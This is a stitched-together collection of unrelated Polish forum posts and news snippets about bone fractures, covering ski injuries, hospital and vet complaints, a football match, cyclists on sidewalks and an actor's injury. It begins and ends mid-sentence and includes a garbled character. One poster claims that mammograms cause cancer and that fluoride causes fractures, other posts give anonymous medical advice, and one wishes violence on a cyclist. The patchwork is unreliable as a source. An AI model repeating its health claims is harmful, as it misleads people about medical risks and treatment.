> bardziej narażone na kontuzje.
BZDURA I PRZESAD: TYLKO PRZEZ PIERWSZE PARE DNI POZNIEJ URAZY KONCZYN GORNYCH SA CZESTSZE.
JAZDA NA NARTACH JEST ZDECYDOWANIE "GORSZA" DLA KOLAN
>
> Jak 'delikatnie' wrócić na stok?
PRZEDE WSZYSTKIEM NIE WIADOMO CZY TWOJE KOLANO JEST DO KONCA ZDIAGNOZOWANE: MIALAS
REZONANS MAGN? CZY TERAZ MASZ OBJAWY NIESTABILNOSCI: RZEPKI CZY KOLANA (CALEGO STAWU). CZY
GLOWNYM PROBLEMEM JEST BOL? WYGLADA NA TO ZE STRACILAS 3 LATA NIEPOTRZEBNIE: PO 3 LATACH OD
"ZWYKLEGO" ZWICHNIECIA RZEPKI I PRZY WLASCIWEJ REH POWINNAS SPEDZIC 2 OSTATNIE SEZONY NA
NARTACH LUB DESCE
>
> Narty to była moja pasja, szedł na to prawie cały urlop i pensja i nie
> chciałabym tego porzucać, ale też nie chcę znowu być na zwolnieniu przez 3
> miesiące i zmarnować roku na leczenie.
>
> Moje stare, cięzkie i twarde narty -190cm chyba już wyrzucę.
>
> Ortopeda polecił mi pólcarvingi.
BYLBYM OSTROZNY W TYM WZGLEDZIE: NIE WYGLADA NA TO ZEBY TWOJE KOLANO BYLO ZDIAGNOZOWANE
W ZWIAZKU Z TYM MOZESZ SOBIE TO KOLANO USZKODZIC DODATKOWO JEZELI NP MASZ USZKODZONE ACL
ALBO MASZ ZLAMANIE PODCHRZESTNEJ WARSTWY KOSCI LUB/ORAZ UBYTEK CHRZASTKI PO URAZIE
>

Co to znaczy obowiązek? Ja bym chciała sama decydować o swoim bezpieczeństwie,
tak jak decyduję ustawiając sobie wiązania. Z tymi kaskami to trochę tak, jak
przed iluśtam laty było z butami narciarskimi. Kiedyś buty ledwo zakrywały
kostki i było mnóstwo urazów w stawie skokowym. Wysokie buty miały temu
zapobiec i zapobiegły, ale za to wzrosły złamania kości powyżej buta i urazy
kolan. Można mieć kask i doznać urazu kręgosłupa. Może lepiej by było, gdyby
wyekspediować snowboardzistów na osobne, specjalne dla nich trasy. Nie to,
żebym miała coś przeciwko nim, bo podoba mi się ten sport, ale byłoby im
wygodniej, a nam bezpieczniej.
Staruch - nie przejmujmy się na zapas. Za tydzień jadę do Austrii i obiecuję,
że zrobię wywiad.

to co marek naopisal jest sluszne
dodam pare rzeczy: jezeli nie jestes w bdb kondycji i wiesz co robisz: nie
wolno probowac sie podnosci na nartach gdy one sa jeszcze w ruchu: jak to
zrobisz wyglada to efektownie ale w pewnym momencie twoje ACL pojdzie
upadac na bok, starac sie nie zaczepic narta o snieg, starac sie upasc tak zeby
nie siadac na siedzenie ktore znajduje sie za wiazaniami.

Osobna sprawa: kije: POLECAM zdecydowanie obciecie wszystkih paskow wlacznie
z "bezpiecznikowymi" lepiej zgubic kije niz zlamac kciuk lub (czesciej) zerwac
wiez poboczne kciuka (skiers thumb). uzywanie paskow wiaze sie z ryzykiem
skomplikowanego zlamania wieloodlammowego kosci promieniowej: zwykle
nadgarstek jest zmiazdzony miedzy cialem padajacego a podlozem.
NIE MA "bezpiecznej" petli w ktora sie wklada reke zeby mogla sie wyzwolic z
niej w razie niebezpieczenstwa: to NIE DZIALA.
osobiscie zdarza mi sie operowac 2-3 takich przypadkow w sezonie a mieszkam z
dostepem do niewielkich gorek. 50% tych delikwentow mialo kije ktorych petla
powinna sie wypiac..........
o kasku nie chce dyskutowac bo jest to kiniecznosc

uzywanie paskow wiaze sie z ryzykiem
> skomplikowanego zlamania wieloodlammowego kosci promieniowej: zwykle
> nadgarstek jest zmiazdzony miedzy cialem padajacego a podlozem.

Tak, tak, a picie wódki grozi alkoholizmem, marskością wątroby, społeczną
degradacją i kompletną degrengoladą.

Drogie mamy,mówimy tu o pęknięciu a nie o złamaniu,każde złamanie wymaga
założenia gipsu czy szyny.I jak poprzedniczka napisała żę kości u niemowląt są w
osłonce(pęknięcie typu zielonej gałązki),właśnie dlatego nie zakłada się
opatrunku,nie usztywnia,rączka zostaje swobodna.Należy jedynie ją oszczędzać
np.podczas ubierania.A powiem jeszcze że czasem w szpitalu nie wykryją tego i
dlatego nie mówią.Ja się dowiedziałam chyba w 2 czy w 3 dniu o pękniętym
obojczyku u synka.Spoko ma teraz 13 miesięcy i jest wszystko ok ) Więc głowa do
góry,wszystko będzie dobrze!

Ewa

Chciałabym tylko uściślić, żebym nie była źle zrozumiana. Odwapnianie swoją
drogą, a przeciążenia stawów swoją. Samo odwapnianie - z tego, co wiem - nie
boli (patrz osteoporoza - ubywa kości, ale bez bólu), tylko potem jego odległe
skutki (złamania, zwyrodnienia). Bolą prawdopodobnie przeciążone stawy

Złamanie panewki st. bodrowego
Witam 3 miesiące temu złamałem paneweke biodrową, lekaże z wiązku z moim
wiekiem 166 lat , nei chciali wyjmować mi odprysków kosci, pochodzą one z
miednicy i panewki mają 3x1,5 cm (dwa) i (dwa odłami) 2cm.
Miałem robione już dwa tomografy i dziś byl kolejny decyzje mam w srode, ale
chce żebyście spojrzeli na moje rentgen, najwwiększy odłamek jest w torebce
stawowej, podobno chą mi to wyjąc i podiągacmięśień ie wiem co to oznacza

ardjuna:
> 'Lecznica zwierząt' sugerowałaby (puryście), iż rzeczony przybytek jest
> własnością przedmiotowych zwierząt...

Czyli że dopełniacz może być wyłącznie possesivus? A czy ,,złamanie kości
podudzia'' oznacza, że rzeczone podudzie jest właścicielem przedmiotowej kości,
która to kość zanabyła drogą kupna wzmiankowane złamanie?

- Stefan

www.ipipan.gda.pl/~stefan/Irak

Deja Vu: Wisła Kraków - Garbarnia
Coś Wisła nie ma szczęścia do Szczakowianki ...

Ale to nawet nie o wynik chodzi, wiadomo że w sezonie zdarzają się wpadki.
Dużo gorzej, że Kuźba dostał czerwoną kartkę i będzie musiał pauzować, a
Żurawski ewidentnie bez formy.

Kolejna zła informacja, i to nie tylko dla klubu, to kontuzje Głowackiego i
Baszczyńskiego:
"Prześwietlenie stopy Baszczyńskiego wykazało złamanie kości klinowej,
jednak badanie zostanie powtórzone za kilka dni. Głowacki natomiast ma
problem z mięśniem dwugłowym. Jutro dowiemy się więcej."

A ten dzisiejszy mecz to w ogóle był jakiś dziwny - dawno już nie widziałem
tak "brutalnie" grającej Wisły: piłkarze Garbarni zwijali się z bólu na
murawie średnio co parę minut, biedni noszowi musieli się nabiegać ...

Technicy kryminalistyki zeznawali we wtorek prz...
Po przeczytaniu tego artykułu można tylko pogratulować policji
profesjonalizmu. Sądziłem zawsze, że spece od zbierania śladów
są profesjonalistami najwyższej klasy, ale jak widać, byłem
bardzo daleki od prawdy. Ciekawe, czy przestępcy unikną kary, bo
panowie technicy z nonszalancją podchodzą do swoich obowiązków.
Niedawno przed sądem nie stawiło się dwóch policjantów, którzy
wybrali urlop. Teraz dla odmiany technicy kryminalni wykazali
karygodny brak profesjonalizmu. W pierwszym przypadku mimo wielu
mocnych słów i deklaracji padających ze strony przełożonych
sprawa praktycznie rozeszła się po kościach, w drugim przypadku
sam szef laboratorium bagatelizuje sprawę. Przypomnę tylko, że w
słynnej sprawie OJ Simpsona w USA właśnie nieprofesjonalne
zabezpieczenie śladów spowodowało uniewinnienie mordercy.
Uważam, że od ludzi dbających o nasze bezpieczeństwo powinno się
wymagać poważniejszego traktowania obowiązków. Może płace w
policji nie są zbyt wysokie w stosunku do odpowiedzialności, ale
za to praca jest pewna. Można ją stracić w zasadzie jedynie
wskutek złamania prawa. Taką pracę powinno się szanować, a ze
swoich obowiązków wywiązywać się możliwie najlepiej szczególnie
w czasach, gdy bezrobocie sięga 18 %.
Wstyd panowie. Daleki jestem od uogólnień, bo te dwa przypadki
nieprofesjonalnego potraktowania swoich obowiązków to niewiele.
Zastanawiam się jednak, czy dość pobłażliwe traktowanie
tych "wpadek" przez przełożonych nie będzie sprzyjało eskalacji
zjawiska.

W Chironie najlepsi weterynarze, chyba ktoś nie leczył złamania obydwu kości w
tylnej psiej nodze. W Chironie chcieli siamelka mi uśpić. Pojechałem na Podole
Północ, była niedziela, zadzwoniłem do doktora, przyjechał za 20 minut.
Ponoć noga psa nadawała się tylko do amputacji, wskazywały na to zdjęcia
rendgenowskie. Postanowiliśmy jednak zaryzykować i wszczepić w te kości
implanty wzmacniające. Trochę to trwało ale psina sama wskakuje teraz do
samochodu i wchodzi po wysokich schodach, dawno już pewnie zapomniał, iż dzięki
pomocy Chirona do dzisiaj została by z niego kupka kości.


> W Chironie najlepsi weterynarze, chyba ktoś nie leczył złamania
obydwu kości w
> tylnej psiej nodze. W Chironie chcieli siamelka mi uśpić.
Pojechałem na Podole
> Północ, była niedziela, zadzwoniłem do doktora, przyjechał za 20
minut.
> Ponoć noga psa nadawała się tylko do amputacji, wskazywały na to
zdjęcia
> rendgenowskie. Postanowiliśmy jednak zaryzykować i wszczepić w te
kości
> implanty wzmacniające. Trochę to trwało ale psina sama wskakuje
teraz do
> samochodu i wchodzi po wysokich schodach, dawno już pewnie
zapomniał, iż dzięki
>
> pomocy Chirona do dzisiaj została by z niego kupka kości.

Zgadzam sie z Toba, w chironie ida na latwizne, to najgorsi
weterynarze

Na Winiarach 2 razy operowali mi piszczel po złamaniu i tak
operowali, że za pierwszym razem nie złożyli wcale a za drugim
krzywo. Skutki były takie, że po 8 miesiącach od złamania nie było
zrostu a ortopedzi z Winiar nie mogli się zdecydować co dalej ze mną
robić. Raz kazali odstawiać kule, po miesiącu patrzyli się na mnie
jak na głupią, czemu chodzę bez kul i jeden był mądrzejszy od
drugiego. Stawiali przeróżne diagnozy i proponowali dziwne
rozwiązania, które jak się później okazało nie przyniosłyby u mnie
żadnych rezultatów.
Dopiero jak trafiłam do dr Chruścińskiego usłyszałam dokładnie jaki
jest stan mojej nogi,jakie mogą być skutki dalszego nie leczenia.
Opowiedział mi o nowej metodzie leczenia zaburzeń zrostu, czyli
podanie czynników wzrostu, ale zabieg ten jest wykonywany w
nielicznych szpitalach w Polsce. Na Kościuszki niestety nie mają
(ale podobno się przymierzają), więc dał mi namiary na ortopedę z
CMS w Warszawie. Tam po miesiącu od operacji odstawiłam kule a po 3
miałam już całkowicie zrośnięta, uwapnioną kość.
Temat był "dobry ortopeda w Płocku"- dlatego napisałam, że dr
Chruściński, a że najlepsi są w Warszawie i Otwocku to już inna
sprawa:)

Zapiszę nazwę i za miesiąc zapytam lekarza. Tylko wiesz:
Ja mam skasowany staw skokowy, Ty miałaś kolano; ja miałam złamanie, całkowicie
zwichnięcie i ciężki uraz chrząstki, a Ty miałaś urawne scięga. Może to to samo,
może nie. Chrząstka zresztą tworzy się sama, jak te kości się poruszają o
siebie. Zatwierdził to zarówno orotpeda, jak i Ojciec, który może z ortopedii
lichy, ale na anatomi się zna świetnie.

Pozdrowienia,

CJ

Najlepszy weterynarz z jakim się spotkałam niestety już nie prowadzi gabinetu,
za dobry był dla zwierząt i nie wytrzymał finansowo ;(((. Teraz względnie
jestem zadowolona z lecznicy "Amicus", adres to chyba Wileńska ale wchodzi się
od Alei Solidarności (taki malutki budyneczek przy terenie kolejowym na
przeciwko Carrefoura). Stanowczo odradzam lecznicę na Wileńskiej niedaleko
kościoła na Szwedzkiej. To konowały a nie weterynarze - obcinanie pazurów u psa
kończy się krwawieniem łap. Pl. Hallera też nie polecam, złamanie kości udowej
u mojej poprzedniej sunci rozpoznano jako dysplazję stawu biodrowego.

U nas wypadki też się zdarzają, aczkolwiek niezbyt poważne, na szczęście. Może
to dzięki temu, że mam doświadczenie ze starszą córką, która była wielką ciapą
i wywracała się na prostej drodze (własnie około drugiego roku życia wpadła na
ścianę i rozbiła czoło tak, że bliznę ma do dzisiaj).
Wojtek mimo że konkretnej postury, ma spory instynkt samozachowawczy, więc
raczej jak spada, to mimo wszystko potrafi się jakoś wywinąć. Ma siniaki,
obtarcia, ale jak wspomniałam, to są drobiazgi.

Staram się natomiast wyrobić sobie pewne nawyki - bo o wszystkim naraz człowiek
nie da rady myśleć. I tak np. już teraz odruchowo odkładam nóż czy gorącą
herbatę daleko od krawędzi szafki, gotuję na tylnych palnikach, nie otwieram
okien na oścież, a jedynie uchylam itd itp. To są niby drobiazgi, ale czasem
się zdarza, że ktoś nie dopilnuje takiej niby błahostki i nieszczęście
gotowe...

Oczywiście święta nie jestem - do moich najbardziej dramatycznych wpadek pt.
"nie dopilnowałam dziecka" należy historia sprzed dwóch lat z Zuzką w roli
głównej. Zuzia mając 2,5 roku złamała nogę, bo weszła na kratę zabiezpieczającą
okno piwniczne - na co jej pozwoliłam, nie sprawdziwszy, czy krata jest dobrze
zamocowana... Okazało się niestety, że owa krata była tylko położona i tworzyła
coś w rodzaju wilczego dołu, tyle że na dnie wybetonowanego. (( I tak to moje
dziecko spadło ponad metr w dół na beton. ( Efekt: złamanie kości śródstopia,
gips na kilka tygodni.
POzdrawiam i życzę jak najmniej wypadków
gemma

>ᡂ-letnia dziewczynka ranna w wypadku w Suszcu

asa 01-09-2003, ostatnia aktualizacja 01-09-2003 23:16

10-letnia dziewczynka została ciężko ranna w wypadku, który wydarzył się
wczoraj w Suszcu koło Pszczyny. Kierowca był pijany.

Około godz. 14 dziewczynka przejeżdżała rowerem przez przejście dla pieszych.
Kierowca forda fiesty nie zdążył wyhamować, potrącił ją i uciekł.

- Policjanci mieli jednak bardzo dobre informacje i zatrzymali kierowcę
niedługo po wypadku. Miał 2,13 promila alkoholu - mówi sierżant sztabowy Adam
Jachimczak z Komendy Wojewódzkiej Policji w Katowicach.

Kierowca to 31-letni mieszkaniec Żor. Auto ukrył u kolegi w jednej z
pobliskich miejscowości. Ciężko ranną dziewczynkę przewieziono helikopterem do
szpitala w Ligocie. Ma liczne złamania kości i groźne obrzęki licznych organów
wewnętrznych.<<

tuhanka napisała:

> Ja nie mam, niestety o czym pisać. Jak w marcu zainaugurowałam sezon
rowerowy,
> to w 6 dni później złamałam nogę. Myślałam, że jak mi zdejmą gips (co miało
> miejsce w maju), to znów wsiądę na mojego jednoślada, który co chwila mnie
> zaczepia w wąskim przedpokoju i domaga się przejażdżki, ale niestety,
pojawiły
> się powikłania i nadal jeździć nie mogę... Nawet chodzę kulejąc. Wygląda na
to,
>
> że ten sezon dla mnie jest stracony... :(

A cóż to za złamanie było, które uniemożliwia jazdę na rowerze?

W ub. roku złamałem kość strzałkową i miałem wątpliwą przyjemność być
unieruchomionym przez 1,5 m-ca, ale lekarz, który gipsu mnie pozbywał (miałem
to szczęście, że trafiłem na lekarza medycyny sportowej) zezwolił na ostrożną
jazdę rowerem po tygodniu z zastrzeżeniem, aby zdjąć pedały zatrzaskowe i
jeździć bez szaleństw rekreacyjnie. Będąc pozytywnie usposobiony do życia po
takiej konsultacji, w ramach rekonwalescencji na rower wsiadłem bez większych
obaw. Faktem jest, że kondycji do stanu przed wypadkowego jeszcze nie
odbudowałem, złożyły się jednak na to okoliczności ze złamaniem nie mające nic
wspólnego.

Co ciekawe, przez kilka tygodni zdecydowanie wolałem przemieszczać się rowerem
niż piechotą z tej przyczyny, że na rowerze pewien niedowład stawu skokowego
nie stwarzał problemów w postaci irytującego "kuśtykania" podczas
przemieszczania się pieszo. :-))

Pozdrawiam,

Jestem przciwniczką przemocy - w równym stopniu kierowców co i rowerzystów.
Jaką szansę ma pieszy z rozpędzonym rowerem uderzającym go od tyłu? Żadną! A
jeśli trafi na osobę starszą ma zagwarantowane złamanie szyjki kosci udowej ze
wszystkimi konsekwencjam, a dziecko może postradać życie! Dlatego rowerzyści
won z chodników.Bądźcie tacy bohaterscy na jezdniach.

Miejsce akcji: Chodnik przy bazarku róg Wąwozowej i Stryjeńskich ( od strony
Wąwozowej)
Czas akcji: 31.03 rano
Osoby dramatu: rowerzysta, kobieta z zakupami + statyści ( z daleka).
Pani ok 40 lat robi poranne zakupy. Idzie chodnikiem!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Z tyłu najeżdża na nią pędzący po chodniku!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
mimo, że obok równolegle jest wyraźnie oznakowana ścieżka
rowerowa!!!!!!!!!!!!!!!!! idiota szalejący na dwóch kółkach zwany rowerzystą.
Kobieta upada, rowerzysta ucieka. Podbiegam do potrąconej, ma pobrudzone
ubranie, jest potłuczona, co będzie dalej - nie wiadomo. Sprawca nawet się nie
zainteresował stanem swojej ofiary, obejrzał rower, stwierdził brak uszkodzeń i
odjechał. Jest nie do zidentyfikowania. Jest bezkarny. Dobrze, że ofiarą nie
była osoba starsza ( możliwość złamania szyjki kości udowej ze wszystkimi
konsekwencjami prowadzącymi nawet do śmierci lub dziecko, które mógł po prostu
zabić). Zresztą jakie będą skutki urazu ofiary kretyna na 2 kółkach nie wiadomo.
Rowerzyści - dla wa piesi to smieci, g...o, które mozna bezkarnie rozjechać.
Macie ścieżki- pędzicie po chodnikach, czujecie się bezkarni, bo nie sposób was
dogonić i zidentyfikować.
Serdecznie życzę sprawcy owego wypadku, aby sam dostał się pod koła
mocniejszego pojazdu.

Odpowiedzialność zbiorowa?
Idę sobie grzecznie chodnikiem równoległym do ściezki rowerowej. Obok ścieżką
sunie na nogach jejmość, za nią rowerzysta. W pewnym momencie słyszę zbitkę
powszechnie znanych przerywników i upadam na ziemię. Coż zrobił dzielny
rowerzysta? Ano wjechał na chodnik i postanowił w ramach zemsty na wszystkich
pieszych uderzyć mnie od tyłu, choć ZNAJDOWAŁAM SIĘ NA CHODNIKU I SZŁAM
ZGODNIE Z PRZEPISAMI, TO ON WTARGNĄŁ NA MOJE TERYTORIUM.
Efekt - pobrudzone ubranie, lekkie potłuczenie. Usłyszałam tylko: "mało
porozjeżdżam wszystkie ku.., na ścieżkach i chodnikach" i świst wiatru.
O złapaniu chuligana mowy nie ma.
Czy zatem mam w ramach odpowiedzialności zbiorowej w podobny sposób
zachowywać się gdy siądę za kierownicą?
Może obrońcy rowerzystów wytłumaczą mi co JA zawiniłam? Gdzie mam czuć się
bezpieczną?
Dodam, że gdyby trafiło to na starszą osobę mogłoby dojść do złamania szyjki
kości udowej, a dziecko mogłoby to nawet przepłacić życiem.
Napotkani po kwadransie strażnicy miejscy zaproponowali mi, abym zapomniala o
sprawie.

Bardzo, ale to bardzo współczujemy waszej rodzinie, że musicie
zmagać się z ta straszną chorobą. Niedawno mój synek miał
podejrzenie guza okolicy kości udowej, także poczuliśmy ten cały
strach związany z tą chorobą. W związku z czym bardzo solidaryzujemy
się z wami i choć trochę postaramy się was finansowo wspomóc. U nas
najprawdopodobniej zostanie zdiagnozowane MIZS czyli młodzieńcze
idiopatyczne zapalenie stawów, choroba przewlekła, wieloletnia. I tu
mam prośbę do tych, którzy zetknęli się z tą chorobą, aby odezwali
się do mnie na maila.
Przepraszasz, w swoim poscie za ewentualne złamanie zasad tego
forum. Ja myślę, że ten kto by tak pomyślał, byłby poprostu ostatnią
świnią.
Pozdrawiamy i ściskamy serdecznie was wszystkich, ucałujcie Matiego.
Gosia, Andrzej i mały Adas

Zdecydowanie odradzam ten szpital.Niedawno nie potrafili rozpoznac zlamania
kosci u mojego tescia i odeslali go do domu nie udzielajac pomocy. Potem po
rozpoznaniu zlamania w innym szpitalu zrobili mu operacje ale wypisali go do
domu z temperatura 40oC zbijajac ja sztucznie tabletkami przed samym wypisem po
to aby nastepnego dnia rano trafil do innego juz na szczescie szpitala ze
stwierdzonym obustronnym zapaleniem pluc i odlezynami. Lezal w tej wykanczalni
bez poduszki bo ponoc ich nie maja a materac przeciwodlezynowy ktory udalo sie
mu go zalatwic w dziwny sposob zniknal juz nastepnego ranka wraz z
poduszka.Zainteresowanie pacjentem zerowe. Szkoda gadac.

Napadli Krystynę Feldman (Babkę Kiepską)
Krystyna Feldman, znana aktorka teatru Nowego w Poznaniu została przedwczoraj
napadnięta, obrabowana i poturbowana przez młodocianych bandytów w Jeleniej
Górze, gdzie pojechała do rodziny spędzić Święta Wielkanocne -
informuje "Głos Wielkopolski".

Uliczni przestępcy wyrwali jej torebkę i uderzyli tak, że aktorka upadła,
doznając złamania kości biodrowej. Dzięki szybkiej akcji przechodniów,
wkrótce pogotowie zawiozło ją do szpitala, gdzie natychmiast przeprowadzono
operację - pisze gazeta.

Życiu Krystyny Feldman nie zagraża niebezpieczeństwo. Jest pod dobrą opieką -
podaje "Głos Wielkopolski".

/kiedyś bandyta miał honor, a teraz?/

Krystyna Feldman wraca do zdrowia
Krystyna Feldman, która dziesięć dni temu została napadnięta w Jeleniej Górze i
doznała złamania nogi nie zamierza odkładać zaplanowanych na maj zdjęć do filmu
Krzysztofa Krauze "Nikifor", w którym gra tytułową rolę malarza samouka.

Pani Krystyna powiedziała mi, że nie wyobraża sobie, aby nie dotrzymała
terminu. Ma nieprawdopodobnie odporny organizm - powiedział wczoraj reżyser.

84-letnia aktorka została zaatakowana 6 kwietnia przez nieznanych bandytów w
Jeleniej Górze, dokąd przyjechała aby spędzić z rodziną święta. Do napadu
doszło około południa na jednym z jeleniogórskich osiedli. Krystyna Feldman
popchnięta przez napastnika upadła i złamała kość udową. Bandyta nie obłowił
się: skradł kilkanaście złotych i dokumenty.

Już następnego dnia po operacji Feldman wyszła na pierwszy spacer o kulach. -
Lekarze się dziwią, że już wstaję. Ale mnie się tak łatwo nie pobije -
żartowała aktorka. W wyniku napadu Teatr Nowy w Poznaniu, w którym występuje na
co dzień aktorka musiał odwołać przedstawienia z jej udziałem i wprowadzić
zastępstwa.
[gazeta.pl]

Dwa razy miałem w gipsie dłoń - raz złamałem sobie palec drzwiami, a raz...
złamała mi go była. Ale to pryszcz...
W I klasie liceum, gdy grałem w kosza, kumpel (ponad 100 kilo wagi) po wyskoku
trafił obiema stopami na moją prawą stopę w momencie, gdy miałem ją
wykrzywioną. Efekt: trzasnęły mi wszystkie kości śródstopia, a kilka zamieniło
się w pył. Żeby było zabawniej dopiero po kilku tygodniach trzeci (sic!!!)
chirurg zdiagnozował złamania i na trzy miesiące trafiłem w gips.
Nosząc gips na nodze złamałem sobie lewą rękę Paskudnie zresztą, miałem
otwarte złamanie, przemieszczony cały nadgarstek, rękę składali mi gdy już
mijało znieczulenie, więc wyłem z bólu... Na dobitkę podczas tego złamania
poprzerywało się trochę nerwów, rękę złożyli mi krzywo i w efekcie lewą ręką
mogę sobie dłubać w nosie, ale do wysiłkowych rzeczy już się nie zabieram,
chyba że dokładnym omotaniem przegubu jakimś usztywniaczem. Czasami siada mi
czucie i wtedy jest zabawnie, jak np. lewą ręką trzymam się poręczy w autobusie
i nagle orientuję się, że lecę...

Majka, nie mozesz krocej??
Czy ty sie obijasz o sprzet w pokoju? A mzoe warto sie przebadac...

Sluchaj, za komuny przeswietlano i co to dalo? Tylko tyle ze napromieniowalo.

Teraz pisza ze badania kobiet 'na raka piersi' powoduja tego raka. A te
rentgeny to tez nie takie zdrowe dla czlowieka i cholera wie ile one
promieniuja. Od tych aparatow to z daleka. Ostatnio bylem na badaniu kontrolnym
u dentysty (oni to nazywaja 'czyszczenie'- tak, kieszeni). Po trzech latach
okazalo sie nic nie ma sprawdzili i nie wierzyli oczom. Dlaczego? Szczoteczka
elektryczna. CHcesz sie pozbyc dentysty ze swojego zycia to kup szczoteczke
elektryczna.

Chcesz sie pozbyc rentgena raz na rok, to zacznij sie odzywiac normalnie i
przestan oszczedzac na nowy telewizor. Zdrowie mozna sobie kupic ale trzeba
wczesniej o tym pomyslec.

Ogolnie to sa dwa rodzaje medycyny: oficjalna i zwiazana z scisle z
farmakologia i ta nieoficjalna, czasem nielegalna lub pollegalna.

Np Ta oficjalna mowi ze fluor jest dobry dla czlowieka a ta nieoficjalna mowi
ze wrecz przeciwnie. Ciekawe ze juz w Polsce wiedziano ze fluor powoduje
zlamania kosci i to wiedziano juz w roku 1970tym...

JZ czego ten problem pluc? Sam z siebie? Pracowala w pyle, azbescie czy w
cemencie? Pracowala z chemikaliami czy tez czyscila okna amoniakiem? A moze
myla rece spirytusem do nacierania. Sa dwie przyczyny tej choroby: srodowiskowa
i wewnetrzna czyli zwiazania z zywieniem i stylem zycia. Czyz ta 'moja'
medycyna nie jest prostsza? Trzeba tylko triche sie zastanowic zanim sie cos
zrobi o brzemiennych dla nas skutkach.

jezabel25 napisała:

> Właśnie po takim stylu - aroganckim i nieuprzejmym - poznać pewnych siebie i
> nie zważających na innych osobników. (...) drugich wystarczy
> widzieć niewiele tylko więcej niż czubek własnego nosa, własnych faktów,
> namacalnych dowodów i dokonań "świata"...
> Z pozdrowieniami i życzeniami zdobycia umiejętności szerszego spojrzenia na
> ludzi i świat

Medycyna jest nauka scisla, a przynajmniej za taka chce uchodzic.
Nie mozna wiec przedstawiac wlasnych, nie opartych na badaniach naukowych,
eksperymentach i wynikach obserwacji statystycznych, opinii do wierzenia.

Tak bylo z WHI .
Przez wiele lat podawano nam do wierzenia, ze kobietom nalezy podawac hormony ,
aby nie przechodzily w sposob "naturalny" przez okres przekwitania. Udowadniano
nam, ze sluzy to ich dobry, ze zmniejsza sie ryzyko zawalow serca, zlamania
kosci itp.

Przedstawiano nam rozmaite spekulacje i uzasadnienia. Przez wiele lat kobiety
na calym swiecie zazywaly te hormony , robiac przy okazji pieniadze dla
wytworcow.

Wystarczylo jedno badanie WHI ( Women's Health Initiative) , aby cala ta
misteryjna struktura pseudonaukowych dowodow sie zawalila.

Nie wystarczy wiec powiedziec, ze POSTINOR powoduje to lub tamto ( a raczej
autorka uwaza , ze moze powodowac to czy tamto). Trzeba pokazac dowody
(doswiadczalne, wyniki eksperymentow) na poparcie swoich twierdzen.

Dalsze wywody na potrzebe tolerancji pomijam, bo nie maja one nic do rzeczy.

Pozdrawiam i zycze wiedzy . Bo tylko wiedza rozprasza ciemnosci.

Zdrowi Szwedzi
Twoje wiadomosci zaczerpniete byly z DRAMATYCZNYCH przekazow z prasy i
telewizji. Dawalo sie czesto rente zblizajacym sie do 60-ki robotnikom z fabryk
ktore ulegly likwidacji aby mogli spokojnie doczekac emerytury.

Teraz bija sie na alarm, ze za 10-20 lat bedzie brakowalo 500 000(!)
pracownikow i chca rehabilitowac tych na rentach.
Powinni raczej wciagnac do pracy tych w grupie 18-24 lata, bo w Malmo jest
takich 25%, a nie na sile trzymac starszych ludzi w "obiegu".
Moja sasiadka stracila prace majac lat 62 i musiala chodzic na rozne kursy i
praktyki az do ukonczenia 65 roku zycia.
Co do lekarstw, to lekarze przepisuja je w olbrzymich ilosciach; sa
staruszkowie ktorzy jednoczesnie przyjmuja 10 i wiecej lekow.
Kilkakrotnie bito na alarm, ze starsi ludzie sa bardziej chorzy od lekarstw
ktore czesto przeciwdzialaja sobie a jednoczesnie daja skutki uboczne, niz
od braku lekarstw.
Sama walczylam (bezskutecznie) o cofniecie dwoch lekow u samotnego 82-letniego
sasiada po operacji zlamania kosci biodrowej.
Jedno bylo na uspokojenie, drugie na zapobieganie demencji. Dostal je, bo po
operacji reagowal na tak jak wielu starszych ludzi - niepokojem - na zmiane
srodowiska; poza tym narzekal na silne bole w operowanej nodze i sprzeciwial
sie gimnastycee.
Po 2 miesiacach wrocil do normalnego stanu (znam go od 20 lat),ale
dalej "szpikowano" go tymi lekarstwami, co spowodowalo u niego sennosc
niespotykana przedtem.

Witam:) .....złamała ręke 8 maja w ten sam dzień zagipsowali i miało być
dobrze.Na zdięciu rtg wszystko było ok. 14 maja opis zdjęcia "Zdięcie kontrolne
w przebiegu leczenia złamania
trzon obu kości przedramienia lewgo w 1)2 ich długości
wykonane w opatrunku gipsowym.
Ustawienie odłamów osiowe., bez przemieszczeń."
28 maja opis zdjęcia w kartotece/ sprawdzał 18stopni.
15 czerwca ściągnięcie gipsu 20stopni
17 czerwca opis zdjęcia "Stan po złamaniu trzonów obu kości przedrzmienia
lewego w 1/2 ich długości.Blizna kostna obfita. Szczeliny złamań nadal widoczne.
odłamy kostne w ustawieniu kątowym wypukłością skierowaną grzbietowo" ???
Pozdrawiam Gość

Weszłam na to forum bo chciałam opisać historię mojej mamy sprzed tygodnia.
Tytuł mógłby być w zasadzie ten sam.
Moja mama poważnie złamała nogę. Pogotowie przywiozło ją do szpitala i...
zaczął się koszmar, którego nie zapomnę do końca życia.
Jeszcze teraz nie mogę o tym spokojnie mówić, bo dostaję szału! Krótko: jakiś
cholerny sukinsyn nastawiał jej kości (tłumacząc, że mimo, że to skomplikowane
złamanie, to lepiejżeby nie trzeba było operować) bez żadnego znieczulenia
(wcześniej obiecywał mi, że w znieczuleniu miejscowym mama powinna wytrzymać
ten zabieg). Nie dał żadnego znieczulenia miejscowego - okłamał mnie i moją
mamę, która bardzo sie bała tego zabiegu i o wszystko wcześniej pytała.
Ludzie!!!
Przysięgam, że nigdy wcześniej nie słyszałam takiego potwornego wycia,
wrzasku... nawet nie wiem jak mam to nazwać. Trwało to jakieś pięć minut.
Pan doktor po pierwszym krzyku zamknął drzwi na klucz od środka.
A trzy dni później - operacja nagle okazała się konieczna.
Nie można było tak od razu?
Po co to cierpienie?
Zadaję sobie ciągle kilka pytań - czy w XXI wieku człowiek musi tak potwornie
cierpieć? Czy medycyna nie posunęła się ani o krok naprzód od dwustu lat? Czy
to tylko nasz kraj jest tak upiorny?? Bo jeśli tak, to ja stąd wyjadę. Jak
tylko skończę studia. Bo nie daj Boże coś stanie się kiedyś mojemu dziecku... I
trafi do któregoś z naszych wspaniałych szpitali, w ręce jakiegoś typa, który
ze złośliwości zada mu ból.


Serio mówisz? Do tej pory pogotowie kojarzyło mi się z miejscem, gdzie się
idzie (albo jest się wiezionym ;-) w razie złamania jakiejś kości,
ewentualnie w razie podejrzenia, że połknięta angina przez żołądek trafiła do
serca ;-)

To w takim razie muszę faktycznie poczytać te strony NFZ :-)

Baba (od rana zatkana ;-)

Apeluje do mediów, SPRAWDZAJCIE swoje informacje, bo wprowadzacie
